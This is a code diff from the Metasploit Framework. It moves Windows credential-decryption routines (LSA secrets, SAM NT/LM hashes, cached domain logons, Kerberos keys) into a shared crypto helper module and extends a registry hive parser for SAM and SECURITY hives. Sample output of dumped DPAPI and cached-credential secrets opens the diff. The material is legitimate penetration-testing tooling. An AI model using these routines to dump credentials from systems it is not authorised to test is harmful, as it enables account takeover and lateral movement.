2020-08-13 12:20:20 UTC 192.68.43.12 smb 445 tcp dpapi.machine_key "a197fe18d264c79b0996b3a987fcd6ea3b6191a6"
|
||||
2020-08-13 12:20:20 UTC 192.68.43.12 smb 445 tcp dpapi.user_key "ab025408f16dc46e6ba79a559751ea4890daf97b"
|
||||
2020-08-13 12:20:20 UTC 192.68.43.12 smb 445 tcp host.nlkm_key "40000000000000000000000000000000407627cd14f9b36ea519fd03bdc7d999f2b091784480e7b37db64f260a618c6fc520e265deef981392e8dbc9513b5ac2fd1966e6e9cd4f11ec08821b16be4138e0dd79c41522331dcc5005d731c1738f"
|
||||
2020-08-13 12:20:21 UTC 192.68.43.12 smb 445 tcp user.cache_info "Username: msfuser; Iteration count: 10 -> real 10240; Last login: 2020-08-01 20:00:02 +0100; DNS Domain Name: MYDOMAIN.INTERNAL; UPN: msfuser@mydomain.internal; Effective Name: msfuser; Full Name: msfuser; Logon Script: ; Profile Path: ; Home Directory: ; Home Directory Drive: ; User ID: 1004; Primary Group ID: 513; Additional groups: 513; Logon domain name: MYDOMAIN"
|
||||
```
|
||||
|
|
|
@ -3,6 +3,7 @@
|
|||
module Msf::Post::Windows::Priv
|
||||
include ::Msf::Post::Windows::Accounts
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Util::WindowsCryptoHelpers
|
||||
|
||||
INTEGRITY_LEVEL_SID = {
|
||||
:low => 'S-1-16-4096',
|
||||
|
@ -266,48 +267,6 @@ module Msf::Post::Windows::Priv
|
|||
return descrambled
|
||||
end
|
||||
|
||||
#
|
||||
# Converts DES 56 to DES 64
|
||||
#
|
||||
def convert_des_56_to_64(kstr)
|
||||
des_odd_parity = [
|
||||
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
||||
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
||||
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
||||
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
||||
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
||||
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
||||
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
|
||||
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
|
||||
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
|
||||
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
|
||||
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
|
||||
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
|
||||
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
|
||||
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
|
||||
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
|
||||
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
|
||||
]
|
||||
|
||||
key = []
|
||||
str = kstr.unpack("C*")
|
||||
|
||||
key[0] = str[0] >> 1
|
||||
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
|
||||
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
|
||||
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
|
||||
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
|
||||
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
|
||||
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
|
||||
key[7] = str[6] & 0x7F
|
||||
|
||||
0.upto(7) do |i|
|
||||
key[i] = ( key[i] << 1)
|
||||
key[i] = des_odd_parity[key[i]]
|
||||
end
|
||||
return key.pack("C*")
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the LSA key upon input of the unscrambled bootkey
|
||||
#
|
||||
|
@ -362,70 +321,4 @@ module Msf::Post::Windows::Priv
|
|||
@lsa_vista_style
|
||||
end
|
||||
|
||||
# Decrypts LSA encrypted data
|
||||
#
|
||||
# @param policy_secret [String] The encrypted data stored in the
|
||||
# registry.
|
||||
# @param lsa_key [String] The key as returned by {#capture_lsa_key}
|
||||
# @return [String] The decrypted data
|
||||
def decrypt_lsa_data(policy_secret, lsa_key)
|
||||
|
||||
sha256x = Digest::SHA256.new()
|
||||
sha256x << lsa_key
|
||||
1000.times do
|
||||
sha256x << policy_secret[28,32]
|
||||
end
|
||||
|
||||
aes = OpenSSL::Cipher.new("aes-256-cbc")
|
||||
aes.decrypt
|
||||
aes.key = sha256x.digest
|
||||
|
||||
vprint_status("digest #{sha256x.digest.unpack("H*")[0]}")
|
||||
|
||||
decrypted_data = ''
|
||||
|
||||
(60...policy_secret.length).step(16) do |i|
|
||||
aes.reset
|
||||
aes.padding = 0
|
||||
decrypted_data << aes.update(policy_secret[i,16])
|
||||
end
|
||||
|
||||
return decrypted_data
|
||||
end
|
||||
|
||||
# Decrypts "Secret" encrypted data
|
||||
#
|
||||
# Ruby implementation of SystemFunction005. The original python code
|
||||
# has been taken from Credump
|
||||
#
|
||||
# @param secret [String]
|
||||
# @param key [String]
|
||||
# @return [String] The decrypted data
|
||||
def decrypt_secret_data(secret, key)
|
||||
|
||||
j = 0
|
||||
decrypted_data = ''
|
||||
|
||||
for i in (0...secret.length).step(8)
|
||||
enc_block = secret[i..i+7]
|
||||
block_key = key[j..j+6]
|
||||
des_key = convert_des_56_to_64(block_key)
|
||||
d1 = OpenSSL::Cipher.new('des-ecb')
|
||||
d1.decrypt
|
||||
d1.padding = 0
|
||||
d1.key = des_key
|
||||
d1o = d1.update(enc_block)
|
||||
d1o << d1.final
|
||||
decrypted_data += d1o
|
||||
j += 7
|
||||
if (key[j..j+7].length < 7 )
|
||||
j = key[j..j+7].length
|
||||
end
|
||||
end
|
||||
dec_data_len = decrypted_data[0,4].unpack('<L').first
|
||||
|
||||
return decrypted_data[8, dec_data_len]
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,419 @@
|
|||
module Msf
|
||||
module Util
|
||||
module WindowsCryptoHelpers
|
||||
|
||||
#class Error < RuntimeError; end
|
||||
#class Unknown < Error; end
|
||||
|
||||
# Converts DES 56 key to DES 64 key
|
||||
#
|
||||
# See [2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/ebdb15df-8d0d-4347-9d62-082e6eccac40)
|
||||
#
|
||||
# @param kstr [String] The key to convert
|
||||
# @return [String] The converted key
|
||||
def convert_des_56_to_64(kstr)
|
||||
des_odd_parity = [
|
||||
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
||||
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
||||
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
||||
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
||||
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
||||
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
||||
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
|
||||
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
|
||||
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
|
||||
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
|
||||
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
|
||||
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
|
||||
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
|
||||
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
|
||||
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
|
||||
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
|
||||
]
|
||||
|
||||
key = []
|
||||
str = kstr.unpack("C*")
|
||||
|
||||
key[0] = str[0] >> 1
|
||||
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
|
||||
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
|
||||
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
|
||||
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
|
||||
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
|
||||
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
|
||||
key[7] = str[6] & 0x7F
|
||||
|
||||
0.upto(7) do |i|
|
||||
key[i] = ( key[i] << 1)
|
||||
key[i] = des_odd_parity[key[i]]
|
||||
end
|
||||
return key.pack("C*")
|
||||
end
|
||||
|
||||
# Decrypts "Secret" encrypted data
|
||||
#
|
||||
# Ruby implementation of SystemFunction005. The original python code
|
||||
# has been taken from Credump
|
||||
#
|
||||
# @param secret [String] The secret to decrypt
|
||||
# @param key [String] The key to decrypt the secret
|
||||
# @return [String] The decrypted data
|
||||
def decrypt_secret_data(secret, key)
|
||||
|
||||
j = 0
|
||||
decrypted_data = ''
|
||||
|
||||
for i in (0...secret.length).step(8)
|
||||
enc_block = secret[i..i+7]
|
||||
block_key = key[j..j+6]
|
||||
des_key = convert_des_56_to_64(block_key)
|
||||
d1 = OpenSSL::Cipher.new('des-ecb')
|
||||
d1.decrypt
|
||||
d1.padding = 0
|
||||
d1.key = des_key
|
||||
d1o = d1.update(enc_block)
|
||||
d1o << d1.final
|
||||
decrypted_data += d1o
|
||||
j += 7
|
||||
if (key[j..j+7].length < 7 )
|
||||
j = key[j..j+7].length
|
||||
end
|
||||
end
|
||||
dec_data_len = decrypted_data[0,4].unpack('<L').first
|
||||
|
||||
return decrypted_data[8, dec_data_len]
|
||||
|
||||
end
|
||||
|
||||
# Decrypts LSA encrypted data
|
||||
#
|
||||
# @param policy_secret [String] The encrypted data stored in the registry
|
||||
# @param lsa_key [String] The LSA key
|
||||
# @return [String] The decrypted data
|
||||
def decrypt_lsa_data(policy_secret, lsa_key)
|
||||
|
||||
sha256x = Digest::SHA256.new()
|
||||
sha256x << lsa_key
|
||||
1000.times do
|
||||
sha256x << policy_secret[28,32]
|
||||
end
|
||||
|
||||
aes = OpenSSL::Cipher.new("aes-256-cbc")
|
||||
aes.decrypt
|
||||
aes.key = sha256x.digest
|
||||
|
||||
# vprint_status("digest #{sha256x.digest.unpack("H*")[0]}")
|
||||
|
||||
decrypted_data = ''
|
||||
|
||||
(60...policy_secret.length).step(16) do |i|
|
||||
aes.reset
|
||||
aes.padding = 0
|
||||
decrypted_data << aes.update(policy_secret[i,16])
|
||||
end
|
||||
|
||||
return decrypted_data
|
||||
end
|
||||
|
||||
# Derive DES Key1 and Key2 from user RID.
|
||||
#
|
||||
# @param rid [String] The user RID
|
||||
# @return [Array] A two element array containing Key1 and Key2, in this order
|
||||
def rid_to_key(rid)
|
||||
# See [2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/b1b0094f-2546-431f-b06d-582158a9f2bb)
|
||||
s1 = [rid].pack('V')
|
||||
s1 << s1[0, 3]
|
||||
|
||||
s2b = [rid].pack('V').unpack('C4')
|
||||
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack('C4')
|
||||
s2 << s2[0, 3]
|
||||
|
||||
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
|
||||
end
|
||||
|
||||
# This decrypt an encrypted NT or LM hash.
|
||||
# See [2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/a5252e8c-25e7-4616-a375-55ced086b19b)
|
||||
#
|
||||
# @param rid [String] The user RID
|
||||
# @param hboot_key [String] The hashedBootKey
|
||||
# @param enc_hash [String] The encrypted hash
|
||||
# @param pass [String] The password used for revision 1 hashes
|
||||
# @param default [String] The default hash to return if something goes wrong
|
||||
# @return [String] The decrypted NT or LM hash
|
||||
def decrypt_user_hash(rid, hboot_key, enc_hash, pass, default)
|
||||
revision = enc_hash[2, 2]&.unpack('v')&.first
|
||||
|
||||
case revision
|
||||
when 1
|
||||
return default if enc_hash.length < 20
|
||||
|
||||
md5 = Digest::MD5.new
|
||||
md5.update(hboot_key[0, 16] + [rid].pack('V') + pass)
|
||||
|
||||
rc4 = OpenSSL::Cipher.new('rc4')
|
||||
rc4.decrypt
|
||||
rc4.key = md5.digest
|
||||
okey = rc4.update(enc_hash[4, 16])
|
||||
when 2
|
||||
return default if enc_hash.length < 40
|
||||
|
||||
aes = OpenSSL::Cipher.new('aes-128-cbc')
|
||||
aes.decrypt
|
||||
aes.key = hboot_key[0, 16]
|
||||
aes.padding = 0
|
||||
aes.iv = enc_hash[8, 16]
|
||||
okey = aes.update(enc_hash[24, 16]) # we need only 16 bytes
|
||||
else
|
||||
elog("decrypt_user_hash: Unknown user hash revision: #{revision}, returning default")
|
||||
return default
|
||||
end
|
||||
|
||||
des_k1, des_k2 = rid_to_key(rid)
|
||||
|
||||
d1 = OpenSSL::Cipher.new('des-ecb')
|
||||
d1.decrypt
|
||||
d1.padding = 0
|
||||
d1.key = des_k1
|
||||
|
||||
d2 = OpenSSL::Cipher.new('des-ecb')
|
||||
d2.decrypt
|
||||
d2.padding = 0
|
||||
d2.key = des_k2
|
||||
|
||||
d1o = d1.update(okey[0, 8])
|
||||
d1o << d1.final
|
||||
|
||||
d2o = d2.update(okey[8, 8])
|
||||
d1o << d2.final
|
||||
d1o + d2o
|
||||
end
|
||||
|
||||
# Decrypts the user V key value and return the NT amd LM hashes. The V value
|
||||
# can be found under the
|
||||
# HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\<RID> registry key.
|
||||
#
|
||||
# @param hboot_key [String] The hashedBootKey
|
||||
# @param user_v [String] The user V value
|
||||
# @param rid [String] The user RID
|
||||
# @return [Array] Array with the first and second element containing the NT and LM hashes respectively
|
||||
def decrypt_user_key(hboot_key, user_v, rid)
|
||||
sam_lmpass = "LMPASSWORD\x00"
|
||||
sam_ntpass = "NTPASSWORD\x00"
|
||||
sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')
|
||||
sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')
|
||||
|
||||
# TODO: use a proper structure for V data, instead of unpacking directly
|
||||
hashlm_off = user_v[0x9c, 4]&.unpack('V')&.first
|
||||
hashlm_len = user_v[0xa0, 4]&.unpack('V')&.first
|
||||
if hashlm_off && hashlm_len
|
||||
hashlm_enc = user_v[hashlm_off + 0xcc, hashlm_len]
|
||||
hashlm = decrypt_user_hash(rid, hboot_key, hashlm_enc, sam_lmpass, sam_empty_lm)
|
||||
else
|
||||
elog('decrypt_user_key: Unable to extract LM hash, using empty LM hash instead')
|
||||
hashlm = sam_empty_lm
|
||||
end
|
||||
|
||||
hashnt_off = user_v[0xa8, 4]&.unpack('V')&.first
|
||||
hashnt_len = user_v[0xac, 4]&.unpack('V')&.first
|
||||
if hashnt_off && hashnt_len
|
||||
hashnt_enc = user_v[hashnt_off + 0xcc, hashnt_len]
|
||||
hashnt = decrypt_user_hash(rid, hboot_key, hashnt_enc, sam_ntpass, sam_empty_nt)
|
||||
else
|
||||
elog('decrypt_user_key: Unable to extract NT hash, using empty NT hash instead')
|
||||
hashnt = sam_empty_nt
|
||||
end
|
||||
|
||||
[hashnt, hashlm]
|
||||
end
|
||||
|
||||
# Decrypt a cipher using AES in CBC mode. The key length is deduced from
|
||||
# `key` argument length. The supported key length are 16, 24 and 32. Also, it
|
||||
# will take care of padding the last block if the cipher length is not modulo
|
||||
# 16.
|
||||
#
|
||||
# @param edata [String] The cipher to decrypt
|
||||
# @param key [String] The key used to decrypt
|
||||
# @param iv [String] The IV
|
||||
# @return [String, nil] The decrypted plaintext or nil if the key size is not supported
|
||||
def decrypt_aes(edata, key, iv)
|
||||
cipher_str = case key.length
|
||||
when 16
|
||||
'aes-128-cbc'
|
||||
when 24
|
||||
'aes-192-cbc'
|
||||
when 32
|
||||
'aes-256-cbc'
|
||||
else
|
||||
elog("decrypt_aes: Unknown key length (#{key.length} bytes)")
|
||||
return
|
||||
end
|
||||
aes = OpenSSL::Cipher.new(cipher_str)
|
||||
aes.decrypt
|
||||
aes.key = key
|
||||
aes.padding = 0
|
||||
aes.iv = iv
|
||||
|
||||
decrypted = ''
|
||||
(0...edata.length).step(aes.block_size) do |i|
|
||||
block_str = edata[i, aes.block_size]
|
||||
# Pad buffer with \x00 if needed
|
||||
if block_str.length < aes.block_size
|
||||
block_str << "\x00".b * (aes.block_size - block_str.length)
|
||||
end
|
||||
decrypted << aes.update(block_str)
|
||||
end
|
||||
|
||||
return decrypted
|
||||
end
|
||||
|
||||
# Decrypt encrypted cached entry from HKLM\Security\Cache\NL$XX
|
||||
#
|
||||
# @param edata [String] The encrypted hash entry to decrypt
|
||||
# @param key [String] The key used to decrypt
|
||||
# @param iv [String] The IV
|
||||
# @return [String, nil] The decrypted plaintext or nil if the key size is not supported
|
||||
def decrypt_hash(edata, key, iv)
|
||||
rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), key, iv)
|
||||
rc4 = OpenSSL::Cipher.new('rc4')
|
||||
rc4.decrypt
|
||||
rc4.key = rc4key
|
||||
decrypted = rc4.update(edata)
|
||||
decrypted << rc4.final
|
||||
|
||||
return decrypted
|
||||
end
|
||||
|
||||
def add_parity(byte_str)
|
||||
byte_str.map do |byte|
|
||||
if byte.to_s(2).count('1').odd?
|
||||
(byte << 1) & 0b11111110
|
||||
else
|
||||
(byte << 1) | 0b00000001
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def fix_parity(byte_str)
|
||||
byte_str.map do |byte|
|
||||
t = byte.to_s(2).rjust(8, '0')
|
||||
if t[0, 7].count('1').odd?
|
||||
("#{t[0, 7]}0").to_i(2).chr
|
||||
else
|
||||
("#{t[0, 7]}1").to_i(2).chr
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def weak_des_key?(key)
|
||||
[
|
||||
"\x01\x01\x01\x01\x01\x01\x01\x01",
|
||||
"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE",
|
||||
"\x1F\x1F\x1F\x1F\x0E\x0E\x0E\x0E",
|
||||
"\xE0\xE0\xE0\xE0\xF1\xF1\xF1\xF1",
|
||||
"\x01\xFE\x01\xFE\x01\xFE\x01\xFE",
|
||||
"\xFE\x01\xFE\x01\xFE\x01\xFE\x01",
|
||||
"\x1F\xE0\x1F\xE0\x0E\xF1\x0E\xF1",
|
||||
"\xE0\x1F\xE0\x1F\xF1\x0E\xF1\x0E",
|
||||
"\x01\xE0\x01\xE0\x01\xF1\x01\xF1",
|
||||
"\xE0\x01\xE0\x01\xF1\x01\xF1\x01",
|
||||
"\x1F\xFE\x1F\xFE\x0E\xFE\x0E\xFE",
|
||||
"\xFE\x1F\xFE\x1F\xFE\x0E\xFE\x0E",
|
||||
"\x01\x1F\x01\x1F\x01\x0E\x01\x0E",
|
||||
"\x1F\x01\x1F\x01\x0E\x01\x0E\x01",
|
||||
"\xE0\xFE\xE0\xFE\xF1\xFE\xF1\xFE",
|
||||
"\xFE\xE0\xFE\xE0\xFE\xF1\xFE\xF1"
|
||||
].include?(key)
|
||||
end
|
||||
|
||||
# Encrypt using MIT Kerberos des-cbc-md5
|
||||
# http://web.mit.edu/kerberos/krb5-latest/doc/admin/enctypes.html?highlight=des#enctype-compatibility
|
||||
#
|
||||
# @param raw_secret [String] The data to encrypt
|
||||
# @param key [String] The salt used by the encryption algorithm
|
||||
# @return [String, nil] The encrypted data
|
||||
def des_cbc_md5(raw_secret, salt)
|
||||
odd = true
|
||||
tmp_byte_str = [0, 0, 0, 0, 0, 0, 0, 0]
|
||||
plaintext = raw_secret + salt
|
||||
plaintext += "\x00".b * (8 - (plaintext.size % 8))
|
||||
plaintext.bytes.each_slice(8) do |block|
|
||||
tmp_56 = block.map { |byte| byte & 0b01111111 }
|
||||
if !odd
|
||||
# rubocop:disable Style/FormatString
|
||||
tmp_56_str = tmp_56.map { |byte| '%07b' % byte }.join
|
||||
# rubocop:enable Style/FormatString
|
||||
tmp_56_str.reverse!
|
||||
tmp_56 = tmp_56_str.bytes.each_slice(7).map do |bits7|
|
||||
bits7.map(&:chr).join.to_i(2)
|
||||
end
|
||||
end
|
||||
odd = !odd
|
||||
tmp_byte_str = tmp_byte_str.zip(tmp_56).map { |a, b| a ^ b }
|
||||
end
|
||||
tempkey = add_parity(tmp_byte_str).map(&:chr).join
|
||||
if weak_des_key?(tempkey)
|
||||
tempkey[7] = (tempkey[7].ord ^ 0xF0).chr
|
||||
end
|
||||
cipher = OpenSSL::Cipher.new('DES-CBC')
|
||||
cipher.encrypt
|
||||
cipher.iv = tempkey
|
||||
cipher.key = tempkey
|
||||
chekcsumkey = cipher.update(plaintext)[-8..-1]
|
||||
chekcsumkey = fix_parity(chekcsumkey.bytes).map(&:chr).join
|
||||
if weak_des_key?(chekcsumkey)
|
||||
chekcsumkey[7] = (chekcsumkey[7].ord ^ 0xF0).chr
|
||||
end
|
||||
chekcsumkey.unpack('H*')[0]
|
||||
end
|
||||
|
||||
# Encrypt using MIT Kerberos aesXXX-cts-hmac-sha1-96
|
||||
# http://web.mit.edu/kerberos/krb5-latest/doc/admin/enctypes.html?highlight=des#enctype-compatibility
|
||||
#
|
||||
# @param algorithm [String] The AES algorithm to use (e.g. `128-CBC` or `256-CBC`)
|
||||
# @param raw_secret [String] The data to encrypt
|
||||
# @param key [String] The salt used by the encryption algorithm
|
||||
# @return [String, nil] The encrypted data
|
||||
def aes_cts_hmac_sha1_96(algorithm, raw_secret, salt)
|
||||
iterations = 4096
|
||||
cipher = OpenSSL::Cipher::AES.new(algorithm)
|
||||
key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(raw_secret, salt, iterations, cipher.key_len)
|
||||
plaintext = "kerberos\x7B\x9B\x5B\x2B\x93\x13\x2B\x93".b
|
||||
rnd_seed = ''.b
|
||||
loop do
|
||||
cipher.reset
|
||||
cipher.encrypt
|
||||
cipher.iv = "\x00".b * 16
|
||||
cipher.key = key
|
||||
ciphertext = cipher.update(plaintext)
|
||||
rnd_seed += ciphertext
|
||||
break unless rnd_seed.size < cipher.key_len
|
||||
|
||||
plaintext = ciphertext
|
||||
end
|
||||
rnd_seed.unpack('H*')[0]
|
||||
end
|
||||
|
||||
# Encrypt using MIT Kerberos aes128-cts-hmac-sha1-96
|
||||
# http://web.mit.edu/kerberos/krb5-latest/doc/admin/enctypes.html?highlight=des#enctype-compatibility
|
||||
#
|
||||
# @param raw_secret [String] The data to encrypt
|
||||
# @param key [String] The salt used by the encryption algorithm
|
||||
# @return [String, nil] The encrypted data
|
||||
def aes128_cts_hmac_sha1_96(raw_secret, salt)
|
||||
aes_cts_hmac_sha1_96('128-CBC', raw_secret, salt)
|
||||
end
|
||||
|
||||
# Encrypt using MIT Kerberos aes256-cts-hmac-sha1-96
|
||||
# http://web.mit.edu/kerberos/krb5-latest/doc/admin/enctypes.html?highlight=des#enctype-compatibility
|
||||
#
|
||||
# @param raw_secret [String] The data to encrypt
|
||||
# @param key [String] The salt used by the encryption algorithm
|
||||
# @return [String, nil] The encrypted data
|
||||
def aes256_cts_hmac_sha1_96(raw_secret, salt)
|
||||
aes_cts_hmac_sha1_96('256-CBC', raw_secret, salt)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
module Msf::Util::WindowsRegistry
|
||||
|
||||
def self.parse(hive_data, name: nil)
|
||||
RegistryParser.new(hive_data, name: name)
|
||||
end
|
||||
|
||||
end
|
|
@ -1,7 +1,16 @@
|
|||
module Msf
|
||||
module Util
|
||||
module WindowsRegistry
|
||||
|
||||
class WindowsRegistryParser
|
||||
#
|
||||
# This utility class processes binary Windows registry key. It is usually
|
||||
# used when only offline processing is possible and [MS-RRP] BaseRegSaveKey()
|
||||
# is used to save a registry key to a file.
|
||||
#
|
||||
# It also includes helpers for specific registry keys (SAM, SECURITY) through
|
||||
# the `name` key word argument during instantiation.
|
||||
#
|
||||
class RegistryParser
|
||||
# Constants
|
||||
ROOT_KEY = 0x2c
|
||||
REG_NONE = 0x00
|
||||
|
@ -22,16 +31,21 @@ module Util
|
|||
# VK magic value: 'vk'
|
||||
VK_MAGIC = 0x766B
|
||||
# LF magic value: 'lf'
|
||||
LF_MAGIC = 0X6C66
|
||||
LF_MAGIC = 0x6C66
|
||||
# LH magic value: 'lh'
|
||||
LH_MAGIC = 0X6C68
|
||||
LH_MAGIC = 0x6C68
|
||||
# RI magic value: 'ri'
|
||||
RI_MAGIC = 0X7269
|
||||
RI_MAGIC = 0x7269
|
||||
# SK magic value: 'sk'
|
||||
SK_MAGIC = 0X7269
|
||||
SK_MAGIC = 0x7269
|
||||
# HBIN magic value: 'hbin'
|
||||
HBIN_MAGIC = 0x6862696E
|
||||
|
||||
#
|
||||
# [Windows NT Registry File (REGF) format specification](https://github.com/libyal/libregf/blob/main/documentation/Windows%20NT%20Registry%20File%20(REGF)%20format.asciidoc)
|
||||
#
|
||||
|
||||
# Registry File Header
|
||||
class RegRegf < BinData::Record
|
||||
endian :little
|
||||
|
||||
|
@ -52,6 +66,7 @@ module Util
|
|||
string :remaining2, length: 3585
|
||||
end
|
||||
|
||||
# Named key
|
||||
class RegNk < BinData::Record
|
||||
endian :little
|
||||
|
||||
|
@ -74,6 +89,7 @@ module Util
|
|||
string :key_name, read_length: -> { self.name_length }
|
||||
end
|
||||
|
||||
# Value key
|
||||
class RegVk < BinData::Record
|
||||
endian :little
|
||||
|
||||
|
@ -100,6 +116,7 @@ module Util
|
|||
int32 :offset_nk
|
||||
end
|
||||
|
||||
# Sub keys list (LF)
|
||||
class RegLf < BinData::Record
|
||||
endian :little
|
||||
|
||||
|
@ -108,6 +125,7 @@ module Util
|
|||
array :hash_records, type: :reg_hash, read_until: -> { index == (self.num_keys - 1) }
|
||||
end
|
||||
|
||||
# Sub keys list (LH)
|
||||
class RegLh < BinData::Record
|
||||
endian :little
|
||||
|
||||
|
@ -116,6 +134,7 @@ module Util
|
|||
array :hash_records, type: :reg_hash, read_until: -> { index == (self.num_keys - 1) }
|
||||
end
|
||||
|
||||
# Sub keys list (RI)
|
||||
class RegRi < BinData::Record
|
||||
endian :little
|
||||
|
||||
|
@ -124,6 +143,7 @@ module Util
|
|||
array :hash_records, type: :reg_hash2, read_until: -> { index == (self.num_keys - 1) }
|
||||
end
|
||||
|
||||
# Security key
|
||||
class RegSk < BinData::Record
|
||||
endian :little
|
||||
|
||||
|
@ -136,6 +156,7 @@ module Util
|
|||
string :data, read_length: -> { self.size_sk }
|
||||
end
|
||||
|
||||
# Hive bin cell
|
||||
class RegHbinBlock < BinData::Record
|
||||
attr_reader :record_type
|
||||
|
||||
|
@ -162,6 +183,7 @@ module Util
|
|||
end
|
||||
end
|
||||
|
||||
# Hive bin
|
||||
class RegHbin < BinData::Record
|
||||
endian :little
|
||||
|
||||
|
@ -173,12 +195,29 @@ module Util
|
|||
array :reg_hbin_blocks, type: :reg_hbin_block, read_until: :eof
|
||||
end
|
||||
|
||||
def initialize(hive_data)
|
||||
|
||||
# @param hive_data [String] The binary registry data
|
||||
# @param name [Symbol] The key name to add specific helpers. Only `:sam`
|
||||
# and `:security` are supported at the moment.
|
||||
def initialize(hive_data, name: nil)
|
||||
@hive_data = hive_data.b
|
||||
@regf = RegRegf.read(hive_data)
|
||||
@regf = RegRegf.read(@hive_data)
|
||||
@root_key = find_root_key
|
||||
case name
|
||||
when :sam
|
||||
require_relative 'sam'
|
||||
extend Sam
|
||||
when :security
|
||||
require_relative 'security'
|
||||
extend Security
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the ROOT key as a block
|
||||
#
|
||||
# @return [RegHbinBlock] The ROOT key block
|
||||
# @raise [StandardError] If an error occurs during parsing or if the ROOT
|
||||
# key is not found
|
||||
def find_root_key
|
||||
reg_hbin = nil
|
||||
# Split the data in 4096-bytes blocks
|
||||
|
@ -195,6 +234,12 @@ module Util
|
|||
raise StandardError, 'Cannot find the RootKey' unless reg_hbin
|
||||
end
|
||||
|
||||
# Returns the type and the data of a given key/value pair
|
||||
#
|
||||
# @param reg_key [String] The registry key
|
||||
# @param reg_value [String] The value in the registry key
|
||||
# @return [Array] The type (Integer) and data (String) of the given
|
||||
# key/value as the first and second element of an array, respectively
|
||||
def get_value(reg_key, reg_value = nil)
|
||||
reg_key = find_key(reg_key)
|
||||
return nil unless reg_key
|
||||
|
@ -204,13 +249,17 @@ module Util
|
|||
value_list.each do |value|
|
||||
if value.data.name == reg_value.to_s ||
|
||||
reg_value.nil? && value.data.flag <= 0
|
||||
return value.data.value_type, get_value_data(value.data)
|
||||
return value.data.value_type.to_i, get_value_data(value.data)
|
||||
end
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
# Search for a given key fro the ROOT key and returns it as a block
|
||||
#
|
||||
# @param key [String] The registry key to look for
|
||||
# @return [RegHbinBlock, nil] The key, if found, nil otherwise
|
||||
def find_key(key)
|
||||
# Let's strip '\' from the beginning, except for the case of
|
||||
# only asking for the root node
|
||||
|
@ -227,6 +276,12 @@ module Util
|
|||
parent_key
|
||||
end
|
||||
|
||||
# Search for a sub key from a given base key
|
||||
#
|
||||
# @param parent_key [String] The base key
